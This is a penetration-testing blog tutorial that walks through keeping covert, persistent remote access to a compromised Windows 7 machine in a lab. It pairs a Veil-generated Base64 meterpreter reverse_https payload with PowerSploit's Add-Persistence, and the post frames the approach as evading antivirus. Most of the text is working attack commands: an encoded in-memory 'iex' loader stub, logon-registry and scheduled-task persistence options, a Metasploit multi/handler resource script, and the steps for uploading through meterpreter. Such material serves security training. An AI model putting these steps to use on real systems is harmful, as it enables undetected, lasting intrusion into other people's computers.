How-To: Post-Ex Persistence Scripting with PowerSploit and Veil

By Chris Patten ·

Many penetration testers within the security industry state that getting a system shell is just the starting point for an attack. Sure, I agree, and quite possibly the most significant tenets of our craft could be post exploitation - specifically, the act of maintaining a persistent connection while remaining intimately covert against defense mechanisms.

Historically, the act of evading antivirus and/or malware detection has been a perpetual struggle between those that detect and those that evade. We could use code packing, obfuscating and staged multipart net IO based payloads, to name a few.

Enter Microsoft, as they tipped the scales in favor of the evaders by introducing the PowerShell scripting language. The PowerShell language was first introduced as version 1.0 with the advent of Microsoft XP SP2/SP3. Additionally, the PowerShell scripting language, although full-featured, is considered a whitelisted application for the purpose of running various local and/or network based functions; therefore, it remains undetected by antivirus software.

A number of well-authored PowerShell tutorials exist on the Internet, providing everything necessary to get underway rather quickly. However, although I vehemently support the pedantic study of programming languages, we don’t really need to touch code to establish an effective piece of PowerShell.

To further prove the point, this is a quick post to simply document the necessary steps needed to create a persistent PowerShell communication channel using both the PowerSploit and Veil frameworks.

This technique will leverage Veil to generate a PowerShell encoded meterpreter payload. Immediately following, the PowerSploit framework will be used to create a PowerShell wrapper that can be executed on the victim machine in order to maintain the persistent connection.

Further information regarding the frameworks used within this post can be referenced here:



I would also like to thank my colleague, Dan Kottmann, for his assistance and expertise while debugging code/execution gremlins.

Lab Environment

The lab environment used to stage this exploitation scenario was comprised of the following three systems, all of which were virtualized guests running within an Ubuntu 12.04 (64 arch) host system.

  • Kali Linux (32 Arch) – Attacking System #1 (Primary)
  • Windows 7 (64 Arch) – Attacking System #2 (Supporting)
  • Windows 7 (32 Arch) – Victim System

Additionally, the following diagram illustrates the network architecture and the progression of the attack sequence. The procedure takes into consideration that you have already gained an initial meterpreter shell on the victim system and that we are proceeding with post-exploitation from this point on.

  • First Step – Create meterpreter payload using Veil.
  • Second Step – Place Veil payload into PowerSploit and generate new payload.
  • Third Step – Use the existing meterpreter session to upload the new PowerShell script.
  • Fourth Step – Relax and enjoy the persistent connection.

Installing Veil

The easiest method to install the Veil framework is to simply perform a “git clone” from Chris Truncer’s GitHub code repository within a Kali Linux operating system. There are specific installation details on his GitHub site, but essentially he provides a “” script that will install the necessary dependencies. A successfully installed instance of the Veil framework should return something similar to the following screenshot upon typing python /usr/share/veil/

Installing PowerSploit

The next step is to download the PowerSploit archive from the GitHub code repository and install it within the Microsoft Windows 7 (64 Arch) attacking system. The following series of commands will provide adequate details for installing the framework. Note that we will need administrative privileges for the following steps.

  1. Get the value of the “PSModulePath” environmental variable.





  1. Decompress the downloaded PowerSploit archive and place it in the previously identified PowerShell Modules directory.

C:\Windows\System32\WindowsPowerShell\v1.0\Modules>move C:\Users\labrat\Downloads\PowerSploit-master .

        1 dir(s) moved.



 Volume in drive C has no label.

 Volume Serial Number is 0CA4-867A


 Directory of C:\Windows\System32\WindowsPowerShell\v1.0\Modules

12/04/2013  11:24 AM    <DIR>          .

12/04/2013  11:24 AM    <DIR>          ..

12/04/2013  11:18 AM    <DIR>          PowerSploit-master

07/14/2009  12:32 AM    <DIR>          PSDiagnostics

07/14/2009  12:37 AM    <DIR>          TroubleshootingPack

               0 File(s)              0 bytes

               5 Dir(s)  12,084,989,952 bytes free


  1. Enter into the PowerShell scripting environment and set the execution policy to “Unrestricted” so that we can execute our PowerSploit scripts.


Windows PowerShell

Copyright (C) 2009 Microsoft Corporation. All rights reserved.


PS C:\Users\labrat>

PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules> Set-ExecutionPolicy Unrestricted


  1. Finally, import the PowerSploit “Persistence” module and answer “Run” if prompted with a warning.

PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master> Import-Module .\Persistence


Security Warning

Run only scripts that you trust. While scripts from the Internet can be useful, this script can potentially harm your computer. Do you want to run


[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R


Generating the Veil Payload

The following series of screenshots will provide the details to generate a .bat script containing an embedded Base64 encoded PowerShell meterpreter payload. The windows/meterpreter/reverse_https payload was used during this scenario considering it offers an inherent level of persistence in and of itself while also increasing the probability that an HTTP based payload will be allowed outbound. Also note that the powershell/VirtualAlloc method is used as it allows for inline shellcode injection.

Finally, we are presented with the .bat file containing the Base64 encoded payloads applicable to both 32 and 64 arch types. We need to copy out the entire Base64 value to be used later within PowerSploit. Note that we obviously don’t care which of the Base64 values we copy, since both of the payloads are identical. The wrapper shell script is simply providing the conditional required to identify arch types.

Generating the PowerSploit Payload

This section is based on Matt Graeber’s PowerSploit article and is well worth the read. The motivation for providing this blog post was to illustrate how to leverage the inclusion of Veil payloads in conjunction with Matt’s technique.

Getting back on task, on the Windows 7 (64 Arch) system, we need to ensure that we are still in the PowerShell scripting environment. Again we can enter the environment by typing the following within a privileged command shell and change directory to the location of the PowerShell modules.


Windows PowerShell

Copyright (C) 2009 Microsoft Corporation. All rights reserved.


PS C:\Users\labrat>

PS C:\Users\labrat> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master

PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master>

Now we can create an arbitrary variable and assign the necessary value to it. The following example provides a stub for a variable assignment that can be used by simply plugging in our previously copied Base64 Veil payload.

$p = {iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("VEIL_PAYLOAD_HERE")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()}

The following uses our Veil payload, and represents an actual assignment.

We can now set a couple of additional arbitrary variable values that will define both non-privileged and privileged persistence methods, respectively.

The first definition will run the persistence script upon each successful logon. The second, considering we have gain privileged access to the victim system, will run the persistence script each day at 10:00 AM.

$u = New-UserPersistenceOptions -Registry –AtLogon

$e = New-ElevatedPersistenceOptions -ScheduledTask -Daily -At '10:00 AM'

Finally, we need to generate the persistence script using the PowerSploit “Add-Persistence” module.

PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence> Add-Persistence -ScriptBlock $p -UserPersistenceOptions $u -ElevatedPersistenceOptions $e -Verbose -PassThru

This should generate two files outputted to the same directory. The Persistence.ps1 and RemovePersistence.ps1 files should be self-explanatory but are simply used to enable persistence and remove persistence.

PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence> ls


Directory: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence


Mode                LastWriteTime     Length Name

----                -------------     ------ ----

-a---         12/4/2013  11:19 AM      16025 Add-Persistence.ps1

-a---         12/4/2013  11:19 AM       5140 New-ElevatedPersistenceOptions.ps1

-a---         12/4/2013  11:19 AM       3555 New-UserPersistenceOptions.ps1

-a---         12/4/2013   5:29 PM       7128 Persistence.ps1

-a---         12/4/2013  11:19 AM       1104 Persistence.psd1

-a---         12/4/2013  11:19 AM        170 Persistence.psm1

-a---         12/4/2013   5:29 PM        514 RemovePersistence.ps1

-a---         12/4/2013  11:19 AM        583


After all of this, we are set to actually profit from all of our effort. At this point, the victim system is in a state of initial exploitation as the following screenshot illustrates. We now need to upload our newly generated PowerShell script so that we can maintain persistence.

Similar to what we did on the Windows 7 (64 Arch) system, we need to ensure that the victim machine can run PowerShell scripts by explicitly defining the Set-ExecutionPolicy Unrestricted policy. However, if we drop into command shell from within meterpreter, then the only available shell is non-interactive. Fortunately, Microsoft has afforded us the ability to set the policy using a non-interactive method from within the command line.

A word of mention, we are using a separate multi-handler during these examples as opposed to the inherent handler invoked for a specific exploit payload. The following configuration was used within a MetaSploit resource script and started from the msfconsole as follows.

Save this to a file called reversehttps.rc     

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_https


set LPORT 8443

set ExitOnSession false

exploit -j –z


Invoke the script using:

Msfconsole –r reversehttps.rc

Returning to the example, we can now move our new Persistence.ps1 script from the Windows 7 (64 Arch) system over to the Kali Linux system. Then we will use the post-ex exec_powershell module to upload our Persistence.ps1 script via the existing meterpreter session as the following screenshot illustrates.

The successful execution of the Persistence.ps1 should execute cleanly without returning any syntax errors. Note that the following screenshot had returned multiple meterpreter sessions since the Windows 7 (32 Arch) victim system was rebooted and logged back into. Furthermore, there were multiple instances of the persistence script staged on the victim resulting in the persistent connections.

If everything worked correctly, persistence should be working as expected. You can obviously test this in a controlled environment by re-authenticating the victim user, which should invoke a new meterpreter session.

The process of removing persistence is as simple as copying the RemovePersistence.ps1 script from the Windows 7 (64 Arch) system to the Kali Linux system and running the script using the MetaSploit exec_powershell module.